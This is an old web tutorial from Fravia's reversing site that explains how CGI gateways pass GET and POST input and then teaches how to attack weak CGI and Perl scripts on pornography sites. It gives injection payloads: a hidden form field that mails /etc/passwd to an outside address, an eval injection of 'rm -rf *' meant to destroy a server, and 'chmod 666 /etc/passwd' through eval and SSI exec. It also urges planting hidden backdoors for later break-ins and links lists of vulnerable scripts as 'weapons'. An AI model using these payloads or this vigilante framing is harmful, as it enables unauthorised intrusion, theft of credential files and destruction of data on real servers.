Searchers against Smut
Fravia's CGI-script reversing, page ONE
("ideale3" : CGI-script reverse engineering)
(How to exploit weak CGI-script and PERL programs used by the Smut dealers)
(How to nuke a page against the will of its owner ~ cgi "treasurestrings" for searchers)
Originally published in november 1997, Updated November 2001, Updated June 2004 (see? Times goes by)
This section is obsolete, yet still useful at times...

[What is CGI-script reverse engineering?]  [Where are located the CGI-scripts?] 
[Form processing]  ["weak CGIs" galore] 

What is CGI-script reverse engineering?

Well, if we want to crack the smut dealers, we must first understand a little how their gateways work... so first of all you must understand what are gateways... in fact there is quite a lot you should understand before waging this battle... let's begin!
Remember that you can use gateways running on Internet, install gateways that have been developed by others or develop your own.
The CGI is the mechanism for communicating between your gateway and your Web server.
Let's be clear on this: When the user enters text on a form, or in response to an ISINDEX query, and hits the return key, the Web browser sends keystrokes captured from the user to the httpd server.
When an HTML document contains an ISINDEX tag, the browser displays an input box with the phrase:
This is a searchable index. Enter search keywords: type-input-here
Here you have an example of it:
This does NOT mean that your HTML document is automatically a searchable index. The ISINDEX tag just captures user keystrokes and sends those keystrokes to a gateway using the GET method. The GATEWAY performs the actual search. If the gateway does not exist, placing the ISINDEX tag in the HTML document will not make it exist, altough it will look to the user as though it exists. The user can certainly key in a search string. But when the return key is hit, no search will occur. Try it on the ISINDEX window above.Now.
Nothing happens: to have your Web server perform search functions you must develop or set up a gateway to perform the search.
The htppd server accepts the input, which will come through a FORM or an ISINDEX tag, starts up the gateway and hands the input to the gateway via the CGI.
The user's keystrokes are passed to the gateway either via environment variables (called the GET method) or using standard input (called the POST method). The gateway then passes the input and process it. It may generate HTML output, which is returned to the httpd server to pass to the client, or it may save data in a file or database or send email to someone.

The gateway itself can be a script or program, written in C/C++, Perl, tcl, the C Shell or the Bourne Shell. Each language has its own strengths as a gateway language.

CGI gateways that generate HTML output are required to preface the HTML output to stdout with the following line:
Content-type: text/html
This line must be followed by a blank line before the first <HTML> tag is sent.

The gateway does not have to generate HTML. It could return the URL of another file, indicating to the browser that it should get that file. This is called URL redirection. In fact this is the most commonly used method that the commercial smut-dealers use to pass some specific images to the user
CGI gateways using URL redirection write the following line to stdout:< br>
Location: URL
This line, too, must be followed by a blank line before the stdout data stream terminates.

Passing parameters to CGI scripts by appending them to the URL is referred to as the GET method. CGI scripts written to use the GET method must explicitly read the QUERY_STRING variable to get and then parse the query. The GET method is usually used to invoke a simple CGI script with a single parameter.

For example, to pass your name (Fravia of TheHCU) to the test-cgi gateway, located in cgi-bin, you would open the following URL:
The incoming parameter is appended to the base URL after the ? character, with blanks replaced by the + character. The parameter is set as an environment variable called QUERY_STRING, but is not passed to test-cgi as a command line option, or in standard input. The HTML output returned from this URL would be (since test-cgi describes how the httpd server is configured and what information is being passed generically to all CGI scripts, more or less the following:
CGI/1.0 test script report:

argc is 3. Argv is Fravia of TheHCU

SERVER_NAME = hostname
HTTP_ACCEPT = text/plain, application/x-html, application/html,
text/x-html, text/html, image/*, application/postscript, video/mpeg,
audio/basic, audio/x-aiff, image/gif, image/Jpeg, image/tiff,
text/richtext, text/tab-separated-values, text/x-setext, */*
SCRIPT_NAME = /cgi-bin/test-cgi
All of the capitalized variable names (like SERVER_NAME) are environment variables that are set by the CGI. These are available to be used by your gateway. As you have seen, parameters can be passed to a gateway by appending them to the URL using the following scheme:

That was it for the GET method.
Alternatively, parameters can be passed to CGI scripts using standard input, this is called the POST method. It is used when there is a large amount of information that would be awqward to append to the end of the URL (as with the GET method) or when the parameters need to be encoded. Most of the advanced work on secure transactions on the net is focused on secure encoding techniques for the POST method.

When using the POST method, two parameters, for a user's name and email address, might look like:
The CGI script would then parse the two parameters as:
NAME		Fravia of TheHCU
The & character separates the parameter pairs and the = character separates each parameter name from his value. The + character is used again as a substitute for blanks. The Perl CGI library contains code to parse standard input to load an associative array for processing.

If the CGI-scripts are not carefully written the server can have problems: anytime it captures user keystrokes, those keystroke could be malicious. Attacking a Web server usually consist in embedding shell metacharacters inside our input, seeking the execution of arbitrary commands on the system that runs the gateway, a danger particularly common, with older CGI gateways written in the Bourne or C Shell, in Perl or in any language where an interpreter can execute commands external to the gateway.

Rather than trapping "problem" metacharacters, the CGI scripts use simply a regular expression to check for legal keystrokes:
[a-zA-Z0-9_-+ \t\/@%]
(There is a blank space after the + sign)

Now starts the really interesting part :-)
The "newline" char is often allowed (%0a), and you can use it to execute commands that are DIFFERENT from the commands that the script awaits, you can therefore add a field to a URL to execute functions that are outside the script, for example the following URL asks from the server a copy of /etc/passwd:
The characters ASCII "0a" and "20" are respectively a newline and a space.

Form processing
Forms are a natural progression from simple queries and are officially part of HTML version 3.0.
Here you have an example:

Please send us your comments!


Each INPUT tag has a variable name associated. The CGI scripts filter the contents of the field INPUT, if they don't you have a similar situation ro the previous one, and your data are directly passed to the interpreter.

Another used HTML tag is the SELECT tag, that allows to the user on the client machine to select between a number of options. This selection gives also a value to a specified variable.
The CGI-scripts usually DO NOT check this value, assuming that there is only a predefined number of choices, and these values go directly to the interpreter for interpreted languages.
A typical sendmail attack is made using the characters "~!", on vulnerable systems.
If there is a CGI-script with a call to the UNIX system with only ONE argument, you can attack that system, because the system in that case forks a shell in order to allow the request, for instance the following PERL script:
system("/usr/bin/sendmail -t %s < %s", $address_to_email < $file_entered
has been designed to email a copy of file_entered to the email address address_to_email. Since the script calls system with only one argument, this program runs a separated shell, apt to be forked.
Now copy and MODIFY the same data:
<INPUT TYPE="HIDDEN" NAME="address_to_email" VALUE=";mail cracker@his.address </etc/passwd">
You get it? In this way you can get the file /etc/passwd of that server

The function system() is not the only command to fork a new shell. The function exec(), with only one argument allows the same attacks. Opening a file and piping its result opens also a separate shell. In PERL the function :
open(FILE, "| program_name $ARGS")
opens a FILE and pipes its contents with program_name, which will be executed as separated shell.

The PERL command "eval" executes any argument you pass. The CGI-script that pass user data to the command eval can be used to execute ANYTHING that the user wishes, on the smut dealers sites I would suggest, first to check if the "" passed to the interpreter are accepted
$_ = $VALUE; s/"/\\" /g		$RESULT = eval qq/"$_"/;

And then destroy the smut dealer server with VALUE containing
"rm -rf *"

CGI-script are READABLE, and you can copy them, modify them or substitute them.
PERL scripts containing include lines like the following:
require "cgi-lib"
Include the cgi-lib library. If the file permissions are not correct, the script IS vulnerable! You may want to verify the permission adding to the URL of a cgi-script (using the method GET) following characters:

If you copy, modify and substitute the library, you will be able to execute commands or routines from inside the library file.

The PERL interpreter dwells mostly in usr/bin. If it has been run as SETSUID root, you may modify the file permissions with a direct command to the system:
$_ = "chmod 666\/etc\/passwd" $RESULT = eval qq/"$_"/;

And now the passwd file can be accessed by everybody.

Finally there is an extension that some http server allow: the SSI (Server Side Include). Most SSI have been disabled, but there are still many out there. The syntax is:
!-- #command variable="value" --

If the script does not filter the input, you may write:
!-- #exec cmd="chmod 666 /etc/passwd" --
"exec cmd" then runs a shell and executes the command you wrote between "", in this case chmod. Obviously as soon as you gain etc/passwd you can lame the site of the Smut dealer, or even better, 'seed' therein hundred concealed 'entrances' for later eaiser busting :-)

Where are located the CGI-scripts?
CGI scripts can be placed in THREE locations, the main cgi-bin subdirectory, alternative, cgi-bin subdirectories (that have been established with the ScriptAlias directive) AND in users' personal HTML subdirectories.
Web server administrators police very seldom all these areas, mostly (if they do it) they limit themselves to check that the Options directive, used to protect users' personal HTML directories is not set to All or ExecCGI.
On the other hand, if they don't trust a SPECIFIC user, they usually specify the Options directive in access.conf to be used server-wide and then use
AllowOverride None
Here are, courtesy of +gthorne, some nice 'starter' tricks you may want to use to UNDERSTAND how all this work and how frequently Web servers allow you more access than it you would believe (PLEASE, do not destroy yet, I need it alive for teaching purposes):*
(This gives information even if not available :-)***
Remeber also that the standard Web account (the default user ID) is called
Username: nobody
This isn't root, of course, but it gives nevertheless access to all that an user can if he has an account on the system (otherwise web pages wouldn't work at all. BTW, the dafault Group is -1

Defaults of a standalone daemon
(know what you should be looking for on the smut sites)

httpd.conf = Main server configuration file
This controls HOW the server runs, not details relating to the files it serves
srm.conf = Server resource configuration file
DocumentRoot directive, points per default to /usr/local/etc/httpd/htdocs
UserDir = public_html per default! If the seradm forgot to set it to DISABLED, users could serve files from their home directories!
If the cgi-bin directory is not at default location /usr/local/etc/httpd/cgi-bin/, its new location can be found inside the Alias or ScriptAlias directives!
AccessFileName = .htaccess
DocumentRoot = /usr/local/etc/httpd/htdocs

access.conf = Global access control file (ACF)

Default User ID (UID) = nobody
Default User Group (UIG) = -1
Recommended UID = http
Reccomended UIG = WWW
(These names must exist in /etc/passwd and etc/group respectively)
ServerAdmin = webmaster@local.domain
ServerRoot = /usr/local/etc/passwd
ServerName = www.local.domain (or a CNAME alias)
ServerType = standalone

A first Conclusion
The incorrect use of the CGI scripts implies many vulnerabilities for the system hosting them.
Most smut dealer have little or no knowledge of programming but NEED always some sort of script to give the authorised suckers their smut and leave out everybody else... mostly they will have set their scripts on the quick way, using often incapable programmers... a world of possibilities for us!

Rudi Carell's very powerful "weak CGIs" list
(December 2000)
The incorrect use of the CGI scripts implies many vulnerabilities for the system hosting them.
Rudi Carell has listed quite a lot of -ahem- interesting WEAK CGIs... a treasure-chest of interesting weapons for searchers and retaliators alike. You'll find the updated list [HERE]

Another quite powerful "weak CGIs" list
(December 2000)
The incorrect use of the CGI scripts implies many vulnerabilities for the system hosting them.
Another list with quite a lot of -ahem- interesting WEAK CGIs... a treasure-chest of interesting weapons for searchers and retaliators alike.
You'll find this updated list [HERE]

A third quite powerful "weak CGIs" list
(December 2000)
The incorrect use of the CGI scripts implies many vulnerabilities for the system hosting them.
A third list with many -ahem- interesting WEAK CGIs... a treasure-chest of interesting weapons for searchers and retaliators alike.
You'll find this updated list [HERE]

How to fool SQL servers accessing
(November 2001)
This [snippet] is worth reading especially for those among my visitors that still fail to grasp WHY it is very important, for searchers, to have at least some rudiments of programming (and/or software reversing) knowledge.

[sosnipo.htm]: Some snippets on weak cgi scripts
by POLONUS, June 2004
"The easiest is... if the root site is found to have the defaults' install."

Good luck, good hunt!

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